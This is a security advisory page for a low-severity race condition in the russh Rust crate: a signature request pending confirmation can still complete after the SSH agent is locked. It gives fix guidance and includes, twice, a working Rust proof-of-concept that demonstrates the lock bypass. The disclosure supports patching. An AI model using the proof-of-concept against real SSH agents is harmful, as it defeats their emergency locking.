CVE-2026-128088: russh try_sign Asynchronous Confirmation Can Sign After Vulnerability

LOW
Advisory Identifier: GHSA-736f-c93q-9fwx
CVSS 2.2
CWE-367 CWE-863
Published
Advisory Summary

CVE-2026-128088 is a LOW (CVSS 2.2) asynchronous confirmation can sign after vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting russh try_sign libraries in the crates.io ecosystem. The issue involves asynchronous confirmation can sign after agent lock. Remediation is available by upgrading affected packages to version 0.65.1.

CVE-2026-128088 at a Glance

CVE Identifier CVE-2026-128088
GHSA Identifier GHSA-736f-c93q-9fwx
Severity LOW
CVSS v3.1 Base Score 2.2
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product russh try_sign
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 2.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-128088

To remediate this vulnerability, upgrade all affected russh try_sign dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

russh fixed: 0.65.1
Upgrade russh to 0.65.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for russh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-128088, inspect your project dependencies for russh try_sign:

inspect dependencies for russh

Analyze the terminal output to locate any version of russh try_sign in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.65.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In russh try_sign, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary In russh `0.65.0`, a sign request for a confirmation-constrained key can retain and use the private key after another connection locks the agent. `try_sign()` snapshots an `Arc<PrivateKey>` before awaiting `Agent::confirm()` and does not revalidate the shared lock state after the await. An agent-forwarding peer can therefore obtain a signature while the agent is locked and every new request is being rejected. ### Details The agent's lock and key stores are shared by all connections. `respond()` reads the lock state once, then dispatches a sign request: ```rust let is_locked = { // ... read the shared lock ... }; // ... Some((&13, mut r)) if !is_locked && agentref.confirm_request(MessageType::Sign).await => { let agent = self.agent.take().ok_or(Error::AgentFailure)?; let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?; ``` In `try_sign()`, russh clones the private key from the shared store and drops the store lock before awaiting the asynchronous confirmation callback: ```rust let key = { let blob = Bytes::decode(r)?; let k = self.keys.0.read().or(Err(Error::AgentFailure))?; if let Some((key, _, constraints)) = k.get(&blob.to_vec()) { if constraints.contains(&Constraint::Confirm) { needs_confirm = true; } key.clone() } else { return Ok((agent, false)); } }; let agent = if needs_confirm { let (agent, ok) = agent.confirm(key.clone()).await; if !ok { return Ok((agent, false)); } agent } else { agent }; // No lock/key-state revalidation occurs here. sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)? .encode(writebuf)?; ``` While `confirm()` is pending, a second agent connection can successfully lock the shared agent. When confirmation later returns `true`, the original connection signs with its captured `Arc<PrivateKey>`. The affected code is in [`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162) and [`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375). RFC 9987 section 5.7 requires a locked agent to suspend private-key signature operations until it is unlocked. A fresh request is correctly rejected while locked; only the request suspended across the await bypasses the lock. The vulnerable asynchronous call was introduced by commit `62db6e7` as the fix for GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0` and current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`. ### Expected behavior After the agent reports a successful lock, no private-key signature operation should complete until a successful unlock. ### Actual behavior A request that reached `Agent::confirm()` before the state transition signs afterward. New requests made in the same locked or expired state fail, confirming that the shared state transition took effect. ### Proof of concept The PoC is self-contained and uses in-memory duplex streams; it does not require an SSH server, Unix socket, or attached binary file. With a current stable Rust toolchain installed, create a new directory: ```sh mkdir -p russh-agent-lock-toctou-poc/src cd russh-agent-lock-toctou-poc ``` Create `Cargo.toml`: ```toml [package] name = "russh-agent-lock-toctou-poc" version = "0.1.0" edition = "2024" [dependencies] futures = "0.3" rand = { version = "0.10", features = ["thread_rng"] } russh = "=0.65.0" tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] } tokio-stream = "0.1" ``` Create `src/main.rs`: ```rust use std::{future::Future, sync::Arc}; use russh::keys::agent::{ Constraint, client::AgentClient, server::{self, Agent}, }; use russh::keys::{Algorithm, PrivateKey}; use tokio::{ io::DuplexStream, sync::{Notify, mpsc}, }; use tokio_stream::wrappers::ReceiverStream; #[derive(Clone)] struct DelayedConfirm { entered: Arc<Notify>, release: Arc<Notify>, } impl Agent for DelayedConfirm { fn confirm( self, _key: Arc<PrivateKey>, ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> { Box::new(Box::pin(async move { self.entered.notify_one(); self.release.notified().await; (self, true) })) } } async fn connect( sender: &mpsc::Sender<std::io::Result<DuplexStream>>, ) -> AgentClient<DuplexStream> { let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024); sender.send(Ok(server_stream)).await.unwrap(); AgentClient::connect(client_stream) } #[tokio::main] async fn main() { let entered = Arc::new(Notify::new()); let release = Arc::new(Notify::new()); let agent = DelayedConfirm { entered: entered.clone(), release: release.clone(), }; let (sender, receiver) = mpsc::channel(4); tokio::spawn(async move { server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent) .await .unwrap(); }); let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap(); let public_key = key.public_key().clone(); let mut administrator = connect(&sender).await; administrator .add_identity(&key, &[Constraint::Confirm]) .await .unwrap(); let mut attacker = connect(&sender).await; let attacker_key = public_key.clone(); let pending_sign = tokio::spawn(async move { attacker .sign_request_signature(&attacker_key, None, b"attacker-controlled request") .await }); entered.notified().await; administrator.lock(b"lock-password").await.unwrap(); println!("agent locked while confirmation was pending"); // Control: a request started after the lock is rejected. let mut control = connect(&sender).await; let control_result = control .sign_request_signature(&public_key, None, b"post-lock request") .await; println!("new post-lock request accepted: {}", control_result.is_ok()); // The original request signs after the lock has taken effect. release.notify_one(); let pending_result = pending_sign.await.unwrap(); println!( "pre-lock request signed after lock: {}", pending_result.is_ok() ); assert!(control_result.is_err()); assert!(pending_result.is_ok()); } ``` Run: ```sh cargo run --quiet ``` Observed on russh `0.65.0` with Rust `1.91.0`: ```text agent locked while confirmation was pending new post-lock request accepted: false pre-lock request signed after lock: true ``` ### Impact russh-based SSH agents that implement asynchronous confirmation are affected, including agents exposed to remote SSH servers through agent forwarding. A peer can begin a signature request while the agent is unlocked and hold it in the confirmation phase. If the agent is subsequently locked, approving or otherwise completing the stale confirmation still gives the peer a signature that the agent's current state rejects for every new request. This weakens emergency locking. The attacker does not recover private key material, and exploitation requires a sign request to be pending across the state transition and its confirmation callback eventually to return `true`. ## Related - [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7) - [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv) - [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f) - [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162) - [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)

CVE-2026-128088 Affected russh try_sign Versions

1 component(s)
Fixed Versions:
0.65.1
Product / Package Ecosystem Affected Versions Fixed Version
russh
crates.io
≥ 0.65.0
< 0.65.1
All 1 versions
0.65.0
0.65.1

References

Frequently Asked Questions

What is CVE-2026-128088?
CVE-2026-128088 is a security vulnerability in russh try_sign involving asynchronous confirmation can sign after agent lock under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which russh try_sign versions are affected?
Affected versions include releases prior to 0.65.1 across affected packages: russh.
What version fixes CVE-2026-128088?
Upgrading to 0.65.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is russh affected?
Yes, russh is affected in releases prior to 0.65.1. Upgrade your dependency to 0.65.1 or later.
What is the CVSS score of CVE-2026-128088?
CVE-2026-128088 has a CVSS v3.1 base score of 2.2 (LOW) with vector string CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N.
What CWE is associated with CVE-2026-128088?
CVE-2026-128088 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check crates.io dependencies for CVE-2026-128088?
Run the dependency tree command: 'inspect dependencies for russh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-736f-c93q-9fwx",
  "modified" : "2026-11-13T19:10:46Z",
  "published" : "2026-11-13T19:10:46Z",
  "aliases" : [ "CVE-2026-128088" ],
  "summary" : "russh try_sign: asynchronous confirmation can sign after agent lock",
  "details" : "### Summary\n\nIn russh `0.65.0`, a sign request for a confirmation-constrained key can retain\nand use the private key after another connection locks the agent. `try_sign()`\nsnapshots an `Arc<PrivateKey>` before awaiting `Agent::confirm()` and does not\nrevalidate the shared lock state after the await. An agent-forwarding peer can\ntherefore obtain a signature while the agent is locked and every new request is\nbeing rejected.\n\n### Details\n\nThe agent's lock and key stores are shared by all connections. `respond()` reads\nthe lock state once, then dispatches a sign request:\n\n```rust\nlet is_locked = {\n    // ... read the shared lock ...\n};\n\n// ...\nSome((&13, mut r))\n    if !is_locked && agentref.confirm_request(MessageType::Sign).await =>\n{\n    let agent = self.agent.take().ok_or(Error::AgentFailure)?;\n    let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;\n```\n\nIn `try_sign()`, russh clones the private key from the shared store and drops the\nstore lock before awaiting the asynchronous confirmation callback:\n\n```rust\nlet key = {\n    let blob = Bytes::decode(r)?;\n    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;\n    if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {\n        if constraints.contains(&Constraint::Confirm) {\n            needs_confirm = true;\n        }\n        key.clone()\n    } else {\n        return Ok((agent, false));\n    }\n};\n\nlet agent = if needs_confirm {\n    let (agent, ok) = agent.confirm(key.clone()).await;\n    if !ok {\n        return Ok((agent, false));\n    }\n    agent\n} else {\n    agent\n};\n\n// No lock/key-state revalidation occurs here.\nsign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?\n    .encode(writebuf)?;\n```\n\nWhile `confirm()` is pending, a second agent connection can successfully lock\nthe shared agent. When confirmation later returns `true`, the original\nconnection signs with its captured `Arc<PrivateKey>`.\n\nThe affected code is in\n[`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\nand\n[`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375).\n\nRFC 9987 section 5.7 requires a locked agent to suspend private-key signature\noperations until it is unlocked. A fresh request is correctly rejected while\nlocked; only the request suspended across the await bypasses the lock.\n\nThe vulnerable asynchronous call was introduced by commit `62db6e7` as the fix\nfor GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0`\nand current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`.\n\n### Expected behavior\n\nAfter the agent reports a successful lock, no private-key signature operation\nshould complete until a successful unlock.\n\n### Actual behavior\n\nA request that reached `Agent::confirm()` before the state transition signs\nafterward. New requests made in the same locked or expired state fail, confirming\nthat the shared state transition took effect.\n\n### Proof of concept\n\nThe PoC is self-contained and uses in-memory duplex streams; it does not require\nan SSH server, Unix socket, or attached binary file. With a current stable Rust\ntoolchain installed, create a new directory:\n\n```sh\nmkdir -p russh-agent-lock-toctou-poc/src\ncd russh-agent-lock-toctou-poc\n```\n\nCreate `Cargo.toml`:\n\n```toml\n[package]\nname = \"russh-agent-lock-toctou-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nfutures = \"0.3\"\nrand = { version = \"0.10\", features = [\"thread_rng\"] }\nrussh = \"=0.65.0\"\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"sync\"] }\ntokio-stream = \"0.1\"\n```\n\nCreate `src/main.rs`:\n\n```rust\nuse std::{future::Future, sync::Arc};\n\nuse russh::keys::agent::{\n    Constraint,\n    client::AgentClient,\n    server::{self, Agent},\n};\nuse russh::keys::{Algorithm, PrivateKey};\nuse tokio::{\n    io::DuplexStream,\n    sync::{Notify, mpsc},\n};\nuse tokio_stream::wrappers::ReceiverStream;\n\n#[derive(Clone)]\nstruct DelayedConfirm {\n    entered: Arc<Notify>,\n    release: Arc<Notify>,\n}\n\nimpl Agent for DelayedConfirm {\n    fn confirm(\n        self,\n        _key: Arc<PrivateKey>,\n    ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {\n        Box::new(Box::pin(async move {\n            self.entered.notify_one();\n            self.release.notified().await;\n            (self, true)\n        }))\n    }\n}\n\nasync fn connect(\n    sender: &mpsc::Sender<std::io::Result<DuplexStream>>,\n) -> AgentClient<DuplexStream> {\n    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);\n    sender.send(Ok(server_stream)).await.unwrap();\n    AgentClient::connect(client_stream)\n}\n\n#[tokio::main]\nasync fn main() {\n    let entered = Arc::new(Notify::new());\n    let release = Arc::new(Notify::new());\n    let agent = DelayedConfirm {\n        entered: entered.clone(),\n        release: release.clone(),\n    };\n\n    let (sender, receiver) = mpsc::channel(4);\n    tokio::spawn(async move {\n        server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)\n            .await\n            .unwrap();\n    });\n\n    let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();\n    let public_key = key.public_key().clone();\n\n    let mut administrator = connect(&sender).await;\n    administrator\n        .add_identity(&key, &[Constraint::Confirm])\n        .await\n        .unwrap();\n\n    let mut attacker = connect(&sender).await;\n    let attacker_key = public_key.clone();\n    let pending_sign = tokio::spawn(async move {\n        attacker\n            .sign_request_signature(&attacker_key, None, b\"attacker-controlled request\")\n            .await\n    });\n\n    entered.notified().await;\n    administrator.lock(b\"lock-password\").await.unwrap();\n    println!(\"agent locked while confirmation was pending\");\n\n    // Control: a request started after the lock is rejected.\n    let mut control = connect(&sender).await;\n    let control_result = control\n        .sign_request_signature(&public_key, None, b\"post-lock request\")\n        .await;\n    println!(\"new post-lock request accepted: {}\", control_result.is_ok());\n\n    // The original request signs after the lock has taken effect.\n    release.notify_one();\n    let pending_result = pending_sign.await.unwrap();\n    println!(\n        \"pre-lock request signed after lock: {}\",\n        pending_result.is_ok()\n    );\n\n    assert!(control_result.is_err());\n    assert!(pending_result.is_ok());\n}\n```\n\nRun:\n\n```sh\ncargo run --quiet\n```\n\nObserved on russh `0.65.0` with Rust `1.91.0`:\n\n```text\nagent locked while confirmation was pending\nnew post-lock request accepted: false\npre-lock request signed after lock: true\n```\n\n### Impact\n\nrussh-based SSH agents that implement asynchronous confirmation are affected,\nincluding agents exposed to remote SSH servers through agent forwarding. A peer\ncan begin a signature request while the agent is unlocked and hold it in the\nconfirmation phase. If the agent is subsequently locked, approving or otherwise\ncompleting the stale confirmation still gives the peer a signature that the\nagent's current state rejects for every new request.\n\nThis weakens emergency locking. The attacker does not recover private key\nmaterial, and exploitation requires a sign request to be pending across the\nstate transition and its confirmation callback eventually to return `true`.\n\n## Related\n\n- [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7)\n- [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv)\n- [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f)\n- [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\n- [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "russh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.65.0"
      }, {
        "fixed" : "0.65.1"
      } ]
    } ],
    "versions" : [ "0.65.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/pull/808"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Eugeny/russh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/releases/tag/v0.65.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-863" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-13T19:10:46Z",
    "nvd_published_at" : null
  }
}